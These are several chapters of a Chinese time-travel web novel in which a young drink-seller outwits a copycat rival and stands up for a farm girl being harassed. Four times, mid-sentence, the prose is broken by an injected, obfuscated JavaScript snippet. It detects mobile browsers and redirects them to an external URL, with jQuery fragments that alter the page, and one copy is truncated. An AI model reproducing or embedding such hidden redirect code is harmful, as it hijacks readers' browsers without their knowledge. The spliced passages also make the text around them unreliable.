梁三娘家中有三女，爹娘年事已高，前头两个姐姐又早早嫁了。 她从小操持家中庄子，打点农货铺，并不是个软弱的性子。 被强辱名节无论对哪个东京女子都是踏天大祸，可若有个支撑，哪怕声援自己的是个看似再弱小不过的女子，梁三娘也有了反抗的勇气。 “住嘴！你个登徒子休要胡说！” 梁三娘扬声怒斥，“你我一无父母之命，二无媒妁之言，从未有过半点干系！” “你这般死缠烂打，无非瞧我是城外农户，自觉梁家在这东京城无人可依靠，又眼馋我家中良田几亩。” “何等狠毒的心肠，竟算计至此，欲毁人名节，侵吞财物！” 祝余在一旁总结，“煽风点火”上升高度，“杀人不见血，好算计啊！” 梁三娘听了这话，反应过来补充道：“你竟这般恶毒，往日不与你计较，你真当我梁家无人？” “原是想吃绝户的浪荡子。” “有手有脚的真不要脸。” “竟想以这种方式辱人名节，趁机强娶，歹毒......” “......” 在东京府，百姓的个人财产安全受律法保护，且无论男女，人身安全都有律法保障，官府不只是光喊口号而已。 粉面男子虽有此心，却不敢让人知晓，故而才想着让梁三娘名节有损进而求娶。 “她肤黑体壮，哪有个女子样，我怎会看上她！” 粉面男子恼羞成怒，放下几句狠话愤而离去。 原以为是个能随意拿捏的农户女子，没想到脸皮这般厚，宁愿名声受损也不从了我，真是晦气！ 还有那声援的小贱皮子，真是多管闲事！ “小娘子，那等烂人为了挽回颜面光说腌臜话，你别放在心上。” 祝余出声安慰。 听到祝余这位面生的小娘子这般说，周围与梁三娘相识也连连附和。 “是啊三娘，别理那浪荡子。” “我知三娘你是个守妇道的，别放在心上。” “那等油头粉面的男子，不值当嫁。” “......” 听着众人的安慰，梁三娘只笑笑谢过。 她双眼直直望着素不相识、却为自己出头到底的祝余。 “多谢娘子仗义执言，我是城东梁家农庄的，排行老三，姑娘唤我梁三娘即可。不知姑娘家住何处，该如何称呼？” “我姓祝，单名一个余字，姑娘直接唤我祝余即可。” 解除了战斗状态，面对梁三娘的感激，祝余颇有些不好意思。 “三姑娘，这是......” 上回接待祝余的小厮匆匆从街上跑回，看着路边还未散尽的围观群众，他很是自责。 “姑娘委屈了，若不是我回来得慢了些，姑娘也不至于被那厮缠上。” “阿牛，不打紧。得亏了这回闹大，在祝余姑娘的帮助下，我这回将他的脸面扯了下来，今后应是不会再来了。” 梁三娘笑着安慰自家小厮，“这位是祝余姑娘，替我仗义执言的恩人。” “是您啊！”小厮认出眼前人是昨日的顾客，“姑娘，这位就是买了您所种作物的客人。” 祝余笑着接过话头:“没想到三娘你是铺子的少东家，真是年少有为。也是巧了，今日我也是来买作物的。” “什么少东家，我不过是替腿脚不便的阿爹顾着铺子罢了。”梁三娘觉得自己不堪赞誉，“祝余姑娘你要买些什么，我都送你......” 梁三娘热情万分，不肯收祝余的钱。 俩人推拉半天，还是祝余使出绝杀‘不收钱真不敢在这里买’，梁三娘这才作罢。俩人商议今后的食材梁三娘以8成的价格卖给祝余。 对于祝余来说，这是今天这场见义勇为的意外之喜。 她从梁家农货铺买的材料价格本就不高，梁三娘再给了个八折，她这饮料摊子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433251|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成本就压得很低了。 只要销量上去，继续保持一段时间，房租和摊租就都不愁啦。 与梁三娘签好契书、约定购买材料的种类、交易时间，祝余塞着满满一大筐原材料，盖上一块粗麻布，就准备返程归家熬制酸梅汤。 “三娘，我有一事相求。”临离开前，祝余踌躇着开口，“我是做饮子生意的，方子大抵不过是......” 祝余深知酸梅汤配方简单，随便来一个做熟了饮子的小贩都能还原个7、8分，若是这样，祝余在古代打信息差做饮子生意的优势便全然没有了。 如果生意做大了、品类铺开，倒是不计较饮品被模仿，况且这也是迟早的事。 不过祝余的生意刚有点起色，短时间内受不得冲击。 “祝姑娘不必担忧。”梁三娘明白她未尽之言，拍胸脯保证道，“旁人绝不能从我铺子里打听了去！” 祝余方才出手相助，往小了说只是一次解围。但只有梁三娘这个当事人知道，若是名声被毁、自己捏着鼻子嫁人，今后的命运会有多大改变。 祝余：“多谢，明日给三娘带些饮子尝尝，明日见！” 她没看错人，梁三娘是个善良实诚的人。 “好，明日见。” 梁三娘目送祝余离开，直至其身影消失，目光也久久未收回。 —— “炊饼！面白个大的炊饼！” “瞧一瞧看一看咧！新鲜的农家菜咧！” “......” 东南方的红日缓缓爬上高空，炎热光线下，东京府热气升腾。 人声鼎沸、赫赫炎炎。 祝余昨日花了将近三个时辰，熬出满满三大锅酸梅汤。 整整两百碗酸梅汤，若是能顺利全部卖出，今日便有四百文的收入。 能交上房租了！ 祝余干劲十足，为此她昨日还多买了十个碗咧！ 脑中算盘一响，她浑身是劲，因备料充足而比往日沉上不少的摊车，祝余推起来也是生龙活虎、意气风发。 好心情伴随了一整条开工路，直至来到摆摊地点时戛然而止。 “酸梅汤！清凉解渴的酸梅汤！” 祝余摊子的斜前方，一黝黑敦实的中年男子正扬声叫卖。 酸梅汤、广告木板、新鲜饮子...... 与昨日祝余小摊如出一辙的景象，让那男子的小摊前围满了一圈又一圈的人。 “酸梅汤，一文一碗新鲜尝咧！” 与昨日不同的是，那人压了价，一碗只卖一文钱。 更低廉的价格，让那小摊的生意更是红火。 祝余眼睛瞧着这般热闹，手脚不停将小摊车放在划分的专属区域，神色复杂。 5. 第 5 章 正售卖酸梅汤店家姓张，因其右脸有颗大痦子，街坊邻里皆称其为“痦子张”。 “痦子张，今儿个怎来得忒早！”周围摊贩见其比往常早来了半个时辰，便问了句。 “今日......起得早了些罢。”痦子张含糊着，低头不知捣鼓着什么。 那人见此不再闲谈，拿起一块写有果脯名称的布条，拐出摊子前准备将其挂上。 这还是他从对面小娘子哪儿学来的，往日里总觉着只有铺子才有挂上招牌的必要，没曾想拉个条写上售卖的小物件，还挺能招客。 他从祝余处学了这招，昨晚回去便扯了块布，又找了位代写先生写上自家摊子卖得较好的果脯，今日便挂上了。 横挂好了招子布条，那人后退两步瞧了瞧正反。 哎？ 痦子张的摊车上老早就挂上了布条招子，上头竟写着：一文一碗，酸梅汤？！ 虽说生意家家都能做，可这才第二日，吃相未免太难看了些...... 那人心中暗啐，面上却未漏分毫，只低头弄着手中的活儿，等着瞧祝余出摊之后的热闹。 出乎意料的是，祝余目及此景并未像他预想那般大吵大闹，也未曾上前来讨个说法或吆喝着拉客。 他时不时瞟一眼不紧不慢收拾小摊的祝余，心中不禁嘀咕。 莫不是这小娘子有什么后招？ 面对眼前的情况，祝余还真没想到。 “酸梅汤，一文一碗新鲜尝咧！” “酸甜解渴......” 她这头新鲜饮子才卖了一日，竟就有人在周围大张旗鼓地叫卖了。 在她周围也就罢了，毕竟每块摆摊的地盘都是交钱签了契书的，便是想离得远些也不成。 祝余难以理解的是，这才一夜，痦子张就能将酸梅汤的方子摸了个大概？ 这配方虽不复杂，用料却是牛马不相及，部分材料在此后几百年都未曾用与饮子茶水，先下摸索并配个大概几乎是不可能。 这是误打误撞仿出了味，还是抢了个新鲜的饮子名便卖上了？ “新鲜饮子‘酸梅汤’，一文一碗，好喝不贵！” 小摊前迎来许久未见的客流高峰，令痦子张的吆喝声愈发洪亮自信。 他可不管独创人才卖了几天，饮子谁人都能卖，她一届小娘子敢说什么！ 至于味道不味道的，‘酸梅汤’这名儿不就那么回事？放些梅子糖块，喝着有个酸梅味儿就成。 “痦子张，听说这块儿出了个新饮子，你的摊上卖一文钱一碗？” 这不，来买的人多着咧。 “是啊，我这儿卖酸梅汤！” 痦子张热情解释，那声音周围一片人都能听到，“新出的饮子，酸甜津口，一碗仅一文！您来一碗尝尝？” “成，给我来一碗尝尝！”那客人本就是冲着新鲜饮子来的，两相对比后便挑了个便宜的痛快付了钱。 ‘酸梅汤’，听起来不过酸梅子熬的汤，两文钱不值当！ 付了钱，便得到一碗微微泛红的汤水。 那客人两三口便下了肚，砸吧着嘴把空碗放回盆中，心中很是失望。 梅子的酸汁味儿和红糖味撞在一起，入喉没多爽口不说，光是砸吧两下嘴便没了味儿，还吆喝什么生津解渴、酸甜可口的新鲜饮子，图个新鲜胡乱吹嘘罢了！ 想着左右不过花一文钱图个新鲜，又不是喝不起饮子，那客人虽失望，却也只是拂袖而去。 不光这位客人，有好几人听闻此处更便宜后便来了，‘酸梅汤’入口后的神情大多或平淡或微妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433252|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 痦子张并未注意到，正一个劲儿吆喝、收钱，满面红光很是起劲。 作为竞争对手，祝余对客人喝下后的反应很是在意。 见到对面的售后反馈，她心下稍定。 酸梅汤，名为“汤”，做法顾名思义似乎一目了然。 可熬起来用的是哪几种料、每种料比例多少、熬制温度高低、用时长短、中途又加了什么提味......若不明其中顺序门道，那味道可是千差万别。 “酸梅汤、酸甜解渴的酸梅汤！” “两文一碗，消暑必备！” 祝余将物件归置齐整后，扬声叫卖了起来。 周围摊贩们一早便暗戳戳等着的‘两军对阵’，开唱了！ “新鲜饮子‘酸梅汤’，一文一碗，好喝不贵！” “......” “酸梅汤、酸甜解渴的酸梅汤，两文一碗，消暑必备！” ...... 祝余隔壁大娘放推着车来到地方，便瞧见了这场擂台赛。 第二日便对台吆喝，痦子张忒不要脸！ 祝小娘子，这是被欺负了呀。 眼看着祝余这方因足足贵了一倍价格而无人问津，大娘眉间染上不自知的心疼和担忧。 “酸梅汤，两文一碗！免费试喝！” 正当她觉得祝余不敌时，祝余一句响亮的吆喝响起，一时间盖过周围的大小声音。 “免费试喝！” 这句话钻入了方圆所有潜在顾客耳中。 试喝？ 免费试喝！！！ 没几息功夫，在两家之间正犹豫不决的、喝了痦子张家觉得味道不对的、冲着新鲜因此刚到的、瞧着热闹凑上来的...... 都围在了祝余的摊前。 6. 第 6 章 祝余前世一人扛起网红店，曾恶补过不少营销知识。 试喝，是一种体验式营销手段。有助于消费者通过亲自体验，降低购买风险感知，增强消费者认知。 就眼前的情况，客人有意向买“酸梅汤”，一不满意痦子张的味儿，二怕两文一碗的名不副实。 这时候“试喝”一出，让客人们能通过自己的舌头，尝尝到底好不好喝、值不值得。 不花钱就能尝到传言中的“酸梅汤”，大伙儿可不得一拥而上？ “真是免费试喝，不用花钱？” “给我来一份！” “给我也来一份！” “……” 客人都围了过来，祝余却不能一股脑地发，先给谁、后给谁也是一门学问。 就说挤在最前面地年轻小哥，脸上满是即将占到便宜的喜悦。对他来说，白来的东西，好喝是意外之喜、不好喝也无甚损失。 这么多双眼睛盯着的第一杯试喝给了他，没什么宣传效果。 祝余捏着竹叶小杯，手肘一拐，给了他斜后方面色不善的黑脸男子。 “客人您尝尝。” 黑脸男子看着拐到面前的竹叶杯，愣了一会儿。 他本是听了好友的推荐，冲着酸梅汤来的，方才因着痦子张是老招牌买了他的，没曾想竟喝到只是有个味儿的酸水。 大失所望的他想：卖了许多年饮子的痦子张都熬不出什么好味道，年轻的祝余定也不怎么样。 不过，来都来了。 既是免费试喝，这位店家小娘子有底气试喝，那便尝尝吧。 “多谢。” 黑脸男子接过竹叶杯一饮而尽。 “这味儿好啊！这才是‘酸梅汤’！” 一波三折后，终于喝到了真正的酸梅汤，那黑脸客人喜不自胜，咧开嘴角高声夸赞。 “两文也值了，烦请店家给我来一碗！” 他不再沉着脸，二话不说递来两个铜板。 “好嘞！您拿好！” 祝余早有准备，收了钱递上早已打好的酸梅汤。 “大家伙都尝尝，咱家的酸梅汤味道绝对物超所值1” 目的达到，祝余快速分发试喝竹叶杯，酸梅汤快速消耗着，小摊门庭若市，好不热闹。 “这个味儿好！来一碗！” “两文，值了！” “......” 一道之隔，痦子张那儿门可罗雀，试喝过祝余酸梅汤客人们的反应，无异于狠狠打了痦子张一个巴掌。 他觉着那头热闹的售卖声，仿佛在嘲笑他仿的四不像有多难喝。 “酸甜得宜，真真是解渴爽口啊！” “味有回甘，好喝！” “......” 祝余这锅看似简单的酸梅汤，配方经过后世上千年的改良，味道不是随随便便大致寻摸着学，便能将生意抢了去的。 痦子张这个着急的出头鸟，预图以低价贱卖抢夺“酸梅汤”的名声市场，便说明这新鲜出世饮子的潜力，得到了东京城的卖老了饮子摊贩的认可。 短期之内，祝余不怕被模仿超越，只该苦恼如何在这东京府创立、宣传独属于她的品牌，营销出第一品牌印象，让百姓们一想到“酸梅汤”，下意识只认准祝余卖的。 不过这都是后话，目前要紧的是多多赚钱，完成资本的原始积累！ “各位客人，今日酸梅汤卖得实在是好，现下已尽数售罄。” “明日我定多熬些，各位请早。” “还是这个时辰，您早些来准保能喝上！” “......” 酸梅汤出摊第二日，卖得更是火热。 打汤、收钱、洗碗，祝余两只手一刻不得闲，一车子酸梅汤迅速空桶。 好言送走了恼于未得尝味儿的客人，祝余便开始收摊。 这会儿太阳方才正当头顶，正是街上人们归家避暑的时辰，街上行人三两，饮子生意还未开始热闹起来。 祝余这两日早早售罄的好生意，看得周围摊子很是眼红。 其中，属痦子张脸色最为精彩。 痦子张神色几经变化，两眼一眯，咬牙朝祝余走来。 “祝小娘子，今日生意很是红火啊。” 故作亲厚的声音在头上响起，正蹲着收拾的祝余浑身一顿，眉头同时蹙起。 来者不善。 祝余扬起嘴角笑盈盈起身，红眼病的同行上门阴阳怪气，这情况她有的是经验。 “托张大哥的福，今儿个运气好，不过财神爷偏爱些罢了。” 祝余客套话说得滴水不漏、看似客气寻常，却应景的怪气。 这死丫头嘲讽我！ 若是祝余或无视或质问，痦子张都有法子说下去，偏她一没质问，二没冷眼。 痦子张被这一句话噎在当场，发作不得。 到底是能厚着脸皮在第二日便对台叫卖，痦子张老脸一抽，自顾自故作亲厚地扯闲。 “一转眼，祝娘子租赁此处五月有余，往日你寡言少语，还不知娘子此前可也是做的饮子生意？未曾听闻......” 东城门这块儿多城内外车脚马行行走，故而摊贩多为饮子茶摊。 新鲜出炉的饮子生意红火，周围的店家一个个耳朵都竖了起来。 “多亏了诸位邻里照顾，祝余才能在此处安心做生意。”祝余打断施法。 即使痦子张道行浅不足为惧，但谈到自家正惹眼的红火生意，祝余不欲多言。 有道是无脸无皮最为难缠。 祝余话里话外送客意图明显，痦子张仍视而不见强行攀谈。 “好说好说，不过顺手照顾着。还不知祝娘子可是祖传的......” “哟，真是稀奇，眼瞧着人小姑娘生意惨淡，小半年一句话没说过。今儿个人生意红火，倒隔了四五个月唠起家常来了。” 祝余隔壁摊的大娘忽的插话。 “痦子张，你今儿个挺热心肠啊。” 大娘两步走到祝余身旁，双手环胸一抱，斜斜靠在祝余的小车子上，似笑非笑地看着痦子张。 “老蒋家的，关你屁事，怎的就你闲话多。” 坏心思被这么阴阳怪气地摊开，痦子张的脸是真真挂不住了。 “果真是个女子做不了买卖，管不住嘴碎的毛病！” 原主在此处摆摊许久，和周围多多少少有些接触，因父母亡故而消沉自闭，幸而无深交之人。 但未免节外生枝，祝余前段时间表现得更加寡言，与周围店家甚至是同为女性的将大娘都未曾交谈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433253|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “张大哥，慎言！” 此时蒋大娘明晃晃的维护，让祝余感觉很是出乎意料，她也借机将自己立起来。 祝余上毫不掩饰眼神中的攻击性，“女子经商也能顶半门家计，这可是官家金口玉言，无上圣明！怎的到了张大哥嘴里，成了嘴碎妇人？” “我等女子深谢官家另眼，奉此玉言兢兢业业做点小买卖。‘女子做不了买卖’？莫不是张大哥觉着官家此言差矣！” 祝余上前一步与蒋大娘比肩而立，扯着假笑高声质问。 苍天！ 她怎敢说出如此大不敬的话！ 一张嘴就是官家，谈论天子，妄议朝政，一不小心就是杀头的大罪啊！ 周围看戏的人皆愣在原地。 市井之间言语交锋，左右不过哭爹喊娘、泼泼脏水、戳戳脊梁骨，哪敢往权贵天子身上攀扯。 祝余这般突然扯着天子大旗来吵架的，还是头一回见。 偏生她字字句句尊敬无比，言语之间刀枪棍棒直指痦子张。 痦子张听得头皮猛然发麻，浑身冷汗唇齿哆嗦。 “我、你......” “前面的摊贩，干什么呢！还做不做生意了！” 巡城官兵的呵斥声如天外惊雷，劈得痦子张身子一歪险些站不住。 来了！ 看到巡城官兵疾步而来的身影，祝余狠狠松了一口气。 她自异世而来，在这东京府人生地不熟，又无父母家族庇护，本是不想在摊位旁的邻居们有任何过节。 然生意红火注定遭人红眼，若不借机站稳脚跟，以后的生意可就难安稳了。 她细胳膊细腿，震不住人，却有一个大胆的优点——敢说。 为了在异世立足，东京府的律法规矩祝余这几日是倒背如流，也非常清楚在这儿作为百姓最不敢、最不能犯的忌讳。 什么高低贵贱、天子贱民的糟粕思想祝余通通没有，但不妨碍她借此自保。 敢说，不是无的放矢。 为保证东京城的正常运转，朝廷每日派出大量官兵维护秩序，其中城门坊口及闹市摊点处最多。 据前几日的观察，祝余发现这块的官兵会在这个会儿准点巡逻，从衙门出发到此处左右不过十几息的功夫。 自助者天助。 祝余运气极好，她掐着点说完的下一刻，巡查官兵到了。 巡查官兵踏出衙门时很是悠然，往日的巡查中那帮贪生怕死的小贩鲜少闹事，故而他俩觉得这趟巡逻也不过晃悠一圈，镇镇场子。 他们远远看到本该热闹出摊吆喝的饮子地段安安静静，透着一股子不同寻常的气息。 今日竟有事？！ 巡查官兵环顾一圈，视线锁定站在祝余摊前神色慌张的痦子张。 “是你在闹事？”他们气势汹汹大踏步来到痦子张跟前。 民不与官斗，更别说祝余惊天之言在前。 方才瞧热闹的摊贩们纷纷低下头，一旁的蒋大娘也缩着身子往后退。 痦子张直面官兵，只觉颈悬利剑，头皮发痛。 他两股战战，磕磕巴巴不能言语。 “我...小人......” 这般支支吾吾言语不清，官兵瞧着更加烦躁，两手握上腰间佩刀。 7. 第 7 章 “哪能啊官差大人，不过是这大哥赖皮硬要讨一碗我家的新鲜饮子罢了。” 祝余目的达成，眼看着事情即将超出预期，她出言解围。 “二位大人赏脸尝尝，便是我家新出的‘酸梅汤’，酸甜爽口，生津解渴，今日卖得可好咧！” 祝余将收拾汤桶盛出的两碗酸梅汤递给两位官兵。 “喏，馋得张大哥赖皮讨要，引得周围店家都捂嘴瞧热闹咧！” 巡逻官兵也不过底层“公务员”，当一天和尚敲一天钟，他们比谁都希望管辖区域内平平安安，百姓老老实实。 伸手不打笑脸人，祝余这般笑盈盈递上台阶和酸梅汤，他们自然也乐得轻轻揭过。 “哦？”他们对视一眼后，松了握紧刀柄的手，接过酸梅汤。 “‘酸梅汤’，这饮子名儿还真未听过。” 一碗酸梅汤下肚，险些要多干活的烦闷也消了大半，俩巡逻官兵脸色好转不少。 “确实不错，值得一喝。” 官兵顺着台阶下，并开口夸赞，祝余自然不能让他们的话落地。 “谢二位大人夸，有您这句夸，我明日定能多卖几碗！” “二位今后可要继续赏脸来尝，让我这小摊沾沾光。” 平日里拍他们马屁的不少，但管辖内大多农户摊贩，像祝余这般自然大胆，听着舒心的却是少见。 两位官兵听着心中熨帖，且吃人嘴短，便冲着祝余矜持点头，“有心了，我们平日得空渴了便来。” “多谢赏脸！”祝余喜不自胜。 官大一级压死人，更何况是官兵之于辖区内的商贾。官兵们不过随口一句，确是祝余这段时间内强有力的护身符。 官兵们被祝余捧得舒服，压着欲上翘嘴角便转向她对面的痦子张。 “你，在我们的地盘上强讨饮子闹事，本事得很啊！” “官爷您言重了，小人不过同小娘子说句玩笑，给钱的给钱的！” 痦子张连忙扒拉着衣襟，翻出几个铜板放在祝余摊上。 “不过寻常玩笑，小人哪能给二位爷惹事啊！” 痦子张生怕方才祝余的惊天之言被官兵知晓，祸及自家人头，扯着面皮赔着笑脸，低头哈腰退着跑回自己摊前低头缩着。 晦气！ 本以为那小娘子平日少言寡语，他厚着脸皮能套出些什么，不曾竟如此伶牙俐齿，揪着他一句话就扣上这么大一顶帽子，险些令他掉了脑袋。 偏生她有理有据，让人半句反驳不得，竟还借机攀上了这一带的管事官爷！ 祝余一战惊人，痦子张没被她趁机举报下狱已是劫后余生，哪里还敢在祝余面前晃？ 不止是痦子张，周围店家见识到祝余的厉害后，有想法的皆歇了心思，对上她的眼神只善意笑笑便低下头错开了目光。 一旁的蒋大娘也很受震撼。 她没想到平日里没什么存在感的小娘子，对上人竟这般能说。 什么官家金口玉言、女子奉言经商、痦子张觉得此言差矣......一句句听得她心里直发慌。 祝余假装看不出蒋大娘眼中的惊疑，端着最后一晚酸梅汤朝她衷心道谢。 “多谢大娘方才仗义执言，祝余无以为报，只能请您赏脸尝尝饮子。” 到底是相处了几个月的人，祝余收敛了周身锋芒，笑吟吟说着软话捧来一碗她好奇了两日的酸梅汤，蒋大娘自然顺驴下坡，放松不少。 “算不得什么仗义执言，不过看不惯那泼皮这么欺负一个弱女子罢了。”蒋大娘平日里因着泼辣蛮横被说了不少闲话，被祝余这么一夸还觉着有些害臊。 她举起碗掩面，“尝尝你这新奇饮子。” “真真是酸甜可口！” 一碗下肚，蒋大娘眼睛都亮了。 怪不得这两日卖得这般好，是真有些火候在咧！ 周围卖饮子的摊贩瞧见蒋大娘这反应，对酸梅的味道是抓心挠肝的好奇，不少人暗暗决定明日舔着脸去买一杯尝尝。 最晒人的正午过去，街上行走的人也逐渐多了起来，众人默契揭过方才的插曲，专心吆喝自家生意。 祝余也不欲多呆，三两下归置好物件，推着摊车回家。 —— 回到家放好东西，第一件事便是数钱！ “九十八、九十九、一百！” 经过两天的新品销售，祝余手头上的钱终于破三百文了！ 她双手捧着手中的钱袋，有种想流泪的冲动。 虽才过了几日，可这期间实在是太不容易了。 一睁眼穿到人生地不熟的地方，还是动辄人头落地的封建社会。 好不容易伸出触角摸索出了小片小天地，得以生存喘息，手中的铜板又见底了。 缺吃少穿，没有竞争力的饮子生意也整不明白...... 她表现得接受良好、冷静沉着，还靠着酸梅汤打开了饮子生意的新市场。 但新品上架的担忧、客人叫好前的忐忑，每个黑夜来临时随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433254|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之而来的虚无恐惧...... 不过这一切都过去了！ 祝余乐观地想，如今在东京府的生活走上了正轨，她也要向前看。 她将手中的三百文分成三份，一份存起来以备急用，一份是和梁三娘订购材料的钱。 明日她打算上新的饮子，已经提前和梁三娘下定食材，一会儿就要过去交钱。 至于还剩的100文，祝余打算拿来交房租。 前几日宋大娘来收租时，已经宽限了几日，不能再拖了。 这间院子原定的租金是两百多文一个月，宋大娘瞧她可怜，便抹了不少零，尽收两百文。 房子还有大半个月到期，祝余不打算继续在此长住，半个月后又很难找到带铺面的房子，故而她想试这谈谈再续租半个月。 祝余揣好钱，提上泡在水缸里的两罐酸梅汤，朝宋大娘的小院走去。 —— 宋大娘名下有两套房子，一套是租给祝余的单间小院，还有一套是现在住着的是带铺面的院子。 铺面大概有20个平方，带一间30平左右的小院。 一套放租、一套自住做生意。 外人看来她的日子过得很滋润，直夸她命好，其中的心酸不足为外人道也。 她原先有个幸福的家庭，与丈夫、儿子相处融洽，因夫妻俩拉面的手艺一绝，打拼十几年挣下了一套小院子。 可当年外邦来袭，丈夫与儿子双双上前线，同那十六州一齐落入敌人之手，失去性命。 念着举家男丁皆无所归，朝廷以这座带铺面的小房子作为抚恤，从此宋大娘孤苦伶仃一个人。 铺面占地不小，门前还是坊内开阔的主干道，地段却是顶顶差的。 这儿是东京府东南坊北处的最后一间铺子，紧挨着院墙，基本无人经过，只有念着味儿老客得了空来这么一遭。 此处人流较少，再加上宋大娘家破人亡后状态极差，目前在闭店的边缘挣扎。 幸而宋大娘开销少，有另一间小院一月200文的租金糊口。 “哎——” 眼瞧着日头开始从正上方掉落，午时的饭点过去，宋大娘的面铺仍只卖出寥寥几碗。 宋大娘愁着脸，无声叹气。 ‘幸而仍有小院租金糊口，祝余小娘子虽时不时迟些才能凑齐，每回都能交上，要不真是没米下锅了。’ 正当宋大娘方调整好自己情绪时，便瞧见祝余的身影出现在坊内主道上，抱着个罐子朝她走来。 8. 第 8 章 “祝娘子。” 远远瞧见祝余脸上的笑容，宋大娘起身迎了上去。 祝小娘子自去年双亲亡故后便一直郁郁寡欢，难得见到今日这般欢喜的笑，想来是近日生意不错。 “宋大娘，吃了吗？” 祝余寒暄着把手中的罐子递过去，“这是我近日捣鼓出的新饮子——酸梅汤，宋大娘您尝尝。” “祝娘子有心，那我便收下了。快别站着了，你先坐下歇会儿。” 宋大娘接过罐子，招呼祝余坐下后，便拿出自家罐子盛酸梅汤，把空罐子还给祝余。 等待的过程中，祝余不经意打量着宋大娘的铺子。 这铺子布局方正，临街靠着主干道，铺面不小，铺前开阔，若不是处于街道最深处，定是个生意红火的旺铺。 “宋大娘，叨扰了。” 祝余深吸一口气，在宋大娘坐下后率先开口。 宋大娘：“祝娘子哪里的话，你今日是来......” “我今日是来交租的，多亏大娘容了我几日，我还有个不情之请。” 祝余不好意思地笑了，“房子我是想继续租的，但这些日子生意不好，只攒了堪堪半个月的租钱，不知可否先交半个月，若还是凑不齐，我定搬走......” 祝余说着说着就看到宋大娘脸上的表情越来越为难，她便渐渐噤了声。 “这......” 宋大娘确实为难，行方便什么的都好说，但没有稳定的租金对她来说也是大问题。 “祝娘子啊，不是我不帮你，大娘也要靠着租金过日子......” “是我想当然了。” 祝余想了想，“不知这般可否能行，宋大娘您可以先让牙人将小院登榜待租，我半个多月后准时搬走。” 祝余原也计划趁着坊市制度尚未打破，先租个带院子的铺面，提前些搬走也没什么，就是这几天要抓紧找房子了。 眼看着宋大娘还在权衡，祝余趁热打铁劝说：“左右屋子空着也是空着，宋大娘不如再租我半个月，届时牙人应也找到了新租户，您也是租金不断的。” 宋大娘顺着祝余的话想了想，觉得确实是这个理。 祝小娘子原是同父母一家三口租的她家小院，一家三口住虽挤了些，但两百文的租金匀到人头上是值当的。 但近几月祝娘子双亲离世后，她一人租住两百文的小院确实贵了些。 且瞧着前段时间瞧着饮子生意的收入越来越少，宋大娘早就做好了祝余租不起退租的准备。 “成，那便再租祝娘子半月，我一会儿便找牙人将屋子挂上。”宋大娘衡量过后，应了下来。 —— 对着宋大娘接连道谢后，祝余去老地方吃了碗丝鸡面。 她吃的时候总瞧着周围，生怕有人跟着自己，找到进货的地方打听。 事实证明她考虑得太超前了，直到她磨蹭着吃完，都没看到有什么奇怪的人跟着或经过。 祝余赶紧放下碗，嘴巴一抹进了农货铺。 今天祝余来，除了拿熬制新品所需要的绿豆，还和梁三娘商量着后5日增加一倍的量。 此时已是下午，梁三娘早晨送货进城，一般午时过后已回农庄继续忙活，故而今日祝余也没在农货铺久留，拿了那一大袋绿豆，同伙计说好便付了定钱便早早离去。 回到家，祝余马不停蹄开始准备明日要售卖的饮子。 她先把绿豆洗了两遍，而后放在盆中泡着，让绿豆吸足水分。 泡上了绿豆，便是清洗熬煮酸梅汤所需要的食材。 饮子种类只是增多一种，清洗工程便多了许多，水缸存水飞快消耗。 期间，祝余还去公共水井挑了两回水。 “哎哟！” 挑水过活的日子实在是太苦了，饶是这具身体有劳作的基础，祝余这两趟还是搬得气喘吁吁。 “过几日一定要租个带水井的院子！” 祝余斗志满满，揉了揉被扁担压痛的肩膀，便立刻投入饮子的熬煮。 酸梅汤熬了许多锅，祝余愈发娴熟快速，很快就放完材料、糖块等，转小火继续熬着。 “该熬绿豆沙了！” 祝余明日要上的新饮子，便是绿豆沙。 绿豆沙在前朝就出现了，不同于后世祝余常喝的那样简单易煮，当时的绿豆沙更偏向膏状，其中还加入各种珍贵食材，制作起来费时费力，故而只存在于皇宫大内及官宦人家。 在如今的东京城，民间绿豆制品除药用绿豆汤外，便只有绿豆糕。 绿豆糕的普及，说明东京城百姓对绿豆及其制品的口味接受度很高。祝余有信心，绿豆沙定能大卖！ 